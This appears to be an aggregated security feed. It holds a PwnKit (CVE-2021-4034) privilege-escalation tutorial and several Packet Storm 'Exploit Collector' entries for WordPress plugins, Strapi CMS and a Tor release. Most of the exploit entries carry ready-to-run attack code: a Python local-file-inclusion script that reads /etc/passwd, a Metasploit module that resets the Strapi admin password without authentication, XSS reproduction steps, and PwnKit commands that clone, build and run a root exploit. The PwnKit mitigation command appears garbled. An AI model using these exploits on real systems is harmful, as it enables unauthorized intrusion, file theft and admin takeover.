Securing Lichess one move at a time

Hi there, thanks for stopping by and taking some time to read my blog post about how I helped secure my favorite chess playing which if…Continue reading on Medium »
Read more...

Hacking Articles
Linux Privilege Escalation: PwnKit (CVE 2021-4034)

IntroductionTeam Qualys discovered a local privilege escalation vulnerability in PolicyKit’s (polkit) setuid tool pkexec which allows low-level users to run commands as privileged users. According to Qualys, the vulnerability exists in the pkexec.c code that doesn’t handle the calling parameters count correctly and ends trying to execute environment variables as commands.  Thus, an attacker can craft environment variables in such a way that it will induce pkexec to execute arbitrary code. We are using the older vulnerable Ubuntu 20.04 in this demonstration which can be downloaded from Ubuntu’s old releases page. Newer releases already come with a patched polkit framework. Mitre post can be found here. Polkit and pkexecPolkit and pkexec: PolicyKit is also known as polkit in Linux systems. It is an authorization API used by programs to elevate its permissions to that of an elevated user and run processes as an elevated user (root, generally). If the user is not specified it tries to run that command as the root user. Sudo does the same thing in terms that it lets a user run commands as root, however, with pkexec, admins can finely control the execution of particular programs by defining policies for it. Sudo has no restriction and a user may run any command as an elevated user-given, he knows the password. Pkexec also takes some effort in setting up but Debian variants, including the popular Ubuntu, come with polkit and pkexec pre-installed. These authorization rules for third party packages are defined in *.rules JavaScript files kept in the directory /usr/share/polkit-1/rules.d/

You can read more about polkit and basics here. Details about PwnKitPkexec’s code can be viewed on github here. In the main function, you can see two parameters being passed, argc and argv[].

https://blogger.googleusercontent.com/img/a/AVvXsEiMxuMhrb0a8HOcjHnHGn19MrravnwtQoooBMmgt1df7xvZVhR6UF29RwiqZDXU8eRR-hBdj9oBd4PMcd25QAFvrmb2tFsjOqwNuzIW3r5hBbcVyrmri5-dQa2CqssxvmiXUYz3E30ynQsA3cUNaWff6WSElYaYvuTjDrhPHUyuvh59V5XHrFtF2QKLBA=s16000

If we do not pass any argument to this function, argc =0 and argv = NULL. In the for loop, n is now set to 1 and the loop does not execute as the condition fails.

https://blogger.googleusercontent.com/img/a/AVvXsEhUV33Eu8p1pq5A3ILVJNSOM99xJwEFvFXDnAr5dVt9oWtBOoud0UePHmSM7TFlIPR284RMSKxGTPn6qPVFPcs8MOi-dwoqptJPRxbfxrhVE1jIOjSLYlwTkcOZE4OcjZRNSgFCbdZG2wqEvxeilA9Jt4FSPFoCh7-Juc0zGsq1R1a-k_Fa_79euqlFPw=s16000

When a program is executed, arguments, environment variables and pointers are placed contiguously in stack. path variable is set to NULL. This makes argv[argc] equal to Null and finally, argv[n] becomes argv[1] (as n=11) which becomes the envp[] or the environment variable. Author calls it “value”. (You can refer to the original post to understand in-depth)

https://blogger.googleusercontent.com/img/a/AVvXsEixZl5WWu0whwNa3AofY7t-4obfRrgocvFOV5bSi5I1a0_-nnzH-fXn4QCdiUPcZdwtLR--Nm5S13X_kTNM3IZskD9Im4gvmBFKkGQRU5VGxhNKiIn7JHKMCzv6MEOVI6MFzDSPqs5bVdrw30oOvrcWFrsj1O4spo8BJCZZ8x2IT7RgoMDEVSPYJfKeNg=s16000

Since the path is NULL, it doesn’t start with “/” (indicating absolute path) and hence, the function g_find_program_in_path searches for the value in the environment variables.

https://blogger.googleusercontent.com/img/a/AVvXsEh7htq58DKdQf14Osf1Pb22iufUYywswdlQ9LXWFnPWgqpu5xmc5FHJUc1AmwiOZK0faPT8P4QW0ZJnvz_M4JGGMcyttGcvKdIk8nZI1wCuN_1PpnUJx-gPgtdyfjkZDQNbTi1-Jzq2FjsCQHa24FRq24cuY3A2ojkbjg75YS6siBmgekNkqKdGgzlI8g=s16000

Variable s is finally set to that environment variable “value”

https://blogger.googleusercontent.com/img/a/AVvXsEgS2lox4qkF7oJp2CO8JIM35ubPjGeClNs7BjORsCIA4_Syaje6WttTSPgnYsRQJDIU6BD5Trp-PF1A2Z11jQWlgv79f-IQtmRp5CEDRjOAWkQiDsltX4KbojtchvgTUzgl-nTuBIoBqcXE85Vunir8QYAq8GFLONQI9AkDz[...]

vjfMtE0FMmCubXnA0o79A=s16000

Attack vector: An attacker can create an environment variable and use this memory corruption technique to run his own executable named “value.” Hence, an attacker can use pre-existing environment variable privilege escalation methods to exploit this. DemonstrationA proof of concept for this vulnerability has been uploaded on github which can be found here. To run the attack, we simply need to clone the repository, make the executable and run it. The program will exploit this memory corruption weakness as explained above.
cd /tmp
git clone https://github.com/berdav/CVE-2021-4034 pwnkit
make
./cve-2021-4034
whoami
cat /etc/passwd
https://blogger.googleusercontent.com/img/a/AVvXsEjWQ7pM_Bqk5j2m3mkyLI1KKRdXiFPtQc7Hh42-G6wwxYtDHFHZSDwdi6KFtP62KDNZFn7BLGdwhwQRfObiMwYjEPrFjm_hX3d69SjHy1mcT1BmpAs4Yh6-yh5A05cTwxJSGSQU2LsYHApdtMpinLYwlBQUlaxj9DAaSO5CO0fc71W1kOT4QlKV6cH-qQ=s16000

And just with two commands, we have exploited pkexec’s vulnerability and escalated ourselves to root! Mitigation* The vulnerability has already been patched by respective vendors. In Ubuntu 20.04 policykit-1 – 0.105-26ubuntu1.2 version mitigates this weakness.
* If no patches are available for your operating system, you can remove the SUID-bit from pkexec as temporary mitigation.
chmod 07555 /usr/bin/pkexec ConclusionAll of the unupdated older versions of Debian flavours and Red hat flavours are susceptible to this attack making it a severe risk for an organization. The ease of exploitation of this attack makes it even more dangerous. It is highly recommended that sysadmins update their installed polkit packages today. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Linux Privilege Escalation: PwnKit (CVE 2021-4034) appeared first on Hacking Articles.

Exploit Collector
WordPress Contact Form Builder 1.6.1 Cross Site Scripting

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
WordPress Contact Form Builder plugin version 1.6.1 suffers from a cross site scripting vulnerability.

MD5 | 7d3d5805d2e94ec5aac7da651e4a5bba

Download
# Exploit Title: Wordpress Plugin Contact Form Builder 1.6.1 - Cross-Site Scripting (XSS)
# Date: 2022-02-07
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/contact-forms-builder/
# Version: 1.6.1
# Tested on: Windows 11
# CVE: N/A

1. Description:
This plugin creates a Contact Form Builder from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/code_generator.php?form_id=

Source:packetstormsecurity.com

Exploit Collector
WordPress Simple Job Board 2.9.3 Local File Inclusion

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
WordPress Simple Job Board plugin version 2.9.3 suffers from a local file inclusion vulnerability.

MD5 | e059abbfdfefc909ce027e4265e3e84b

Download
# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion
# Date: 2022-02-06
# Exploit Author: Ven3xy
# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/
# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip
# Version: 2.9.3
# Tested on: Ubuntu 20.04 LTS
# CVE : CVE-2020-35749
import requests
import sys
import time

class color:
HEADER = '\033[95m'
IMPORTANT = '\33[35m'
NOTICE = '\033[33m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
UNDERLINE = '\033[4m'
LOGGING = '\33[34m'
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]
def banner():
run = color_random[6]+'''\nY88b / 888~~ 888 ,e, d8
Y88b / 888-~88e 888___ Y88b / 888-~88e 888 e88~-_ " _d88__
Y88b e / 888 888b ____ 888 Y88b/ 888 888b 888 d888 i 888 888
Y88bd8b/ 888 8888 888 Y88b 888 8888 888 8888 | 888 888
Y88Y8Y 888 888P 888 /Y88b 888 888P 888 Y888 ' 888 888
Y Y 888-_88" 888___ / Y88b 888-_88" 888 "88_-~ 888 "88_/
888 888 \n'''
run2 = color_random[2]+'''\t\t\t(CVE-2020-35749)\n'''
run3 = color_random[4]+'''\t{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }\n\n'''
print(run+run2+run3)
if (len(sys.argv) != 5):
banner()
print("[!] Usage : ./wp-exploit.py <target_url<file_path<user<pass")
print("[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin")
exit()

else:
banner()
fetch_path = sys.argv[2]
print (color_random[5]+"[+] Trying to fetch the contents from "+fetch_path)
time.sleep(3)
target_url = sys.argv[1]
usernamex = sys.argv[3]
passwordx = sys.argv[4]
print("\n")
login = target_url+"wp-login.php"
wp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path
username = usernamex
password = passwordx

with requests.Session() as s:
headers = { 'Cookie':'wordpress_test_cookie=WP Cookie check',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }

post_data={ 'log':username, 'pwd':password,
'wp-submit':'Log In','redirect_to':wp_path,
'testcookie':'1'
}

s.post(login, headers=headers, data=post_data)
resp = s.get(wp_path)

out_file = open("output.txt", "w")
print(resp.text, file=out_file)
out_file.close()
print(color_random[4]+resp.text)
out = color_random[5]+"\n[+] Output Saved as: output.txt\n"
print(out)


Source:packetstormsecurity.com

Exploit Collector
Strapi CMS 3.0.0-beta.17.4 Privilege Escalation

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
This Metasploit module exploits the mishandling of a password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.

MD5 | 8ecdde32e335de56a08cade93bba6146

Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,

'Name' => "Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)",
'Description' => %q{
This exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.
},
'License' => MSF_LICENSE,
'Author' => [ 'WackyH4cker' ],
'References' =>
[
[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]
],
'Platform' => 'linux',
'Targets' => [
[ 'Strapi 3.0.0-beta-17.4', {} ]
],
'Payload' => '',
'Privileged' => true,
'DisclosureDate' => "",
'DefaultOptions' =>
{
'SSL' => 'False',
'RPORT' => 80,
},
'DefaultTarget' => 0

))

register_options [
OptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])
]
end

def check

res = send_request_raw({ 'uri' => '/admin/init' })
version = JSON.parse(res.body)

if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end

end

def run

json_body = { 'code' => {'$gt' => 0},
'password' => datastore['NEW_PASSWORD'],
'passwordConfirmation' => datastore['NEW_PASSWORD'] }

res = send_request_cgi({
'method' => 'POST',
'uri' => '/admin/auth/reset-password',
'ctype' => 'application/json',
'data' => JSON.generate(json_body)
})

print_status("Changing password...")
json_format = JSON.parse(res.body)
jwt = json_format['jwt']

if res.code == 200
print_good("Password changed successfully!")
print_good("USER: admin")
print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
print_good("JWT: #{jwt}")
else
fail_with(Failure::NoAccess"Could not change admin user password")
end
end

end


Source:packetstormsecurity.com

Exploit Collector
WordPress Security Audit 1.0.0 Cross Site Scripting

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
WordPress Security Audit plugin version 1.0.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 0447c49cb1da4d97eb0c5a3c4376be33

Download
# Exploit Title: WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS)
# Date: 2022-01-26
# Exploit Author: Shweta Mahajan
# Vendor Homepage: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
# Software Link: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
# Tested on Windows
# CVE: CVE-2021-24901
# Reference:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24901
https://wpscan.com/vulnerability/9c315404-b66a-448c-a3b7-367a37b53435

How to reproduce vulnerability:

1. Install Latest WordPress

2. Install and activate Titan-labs-security-audit Version 1.0.0

3. Navigate to Security Audit settings >> enter the payload into 'Data Id'.

4. Enter JavaScript payload which is mentioned below
">x

5. You will observe that the payload successfully got stored into the
database and when you are triggering the same functionality at that
time JavaScript payload gets executed successfully and we'll get a
pop-up.


Source:packetstormsecurity.com

Exploit Collector
TOR Virtual Network Tunneling Tool 0.4.6.10

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png
Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs). This is the source code release.

MD5 | 1da676163e4c78efcc650210fa7c0530

Download
Source:packetstormsecurity.com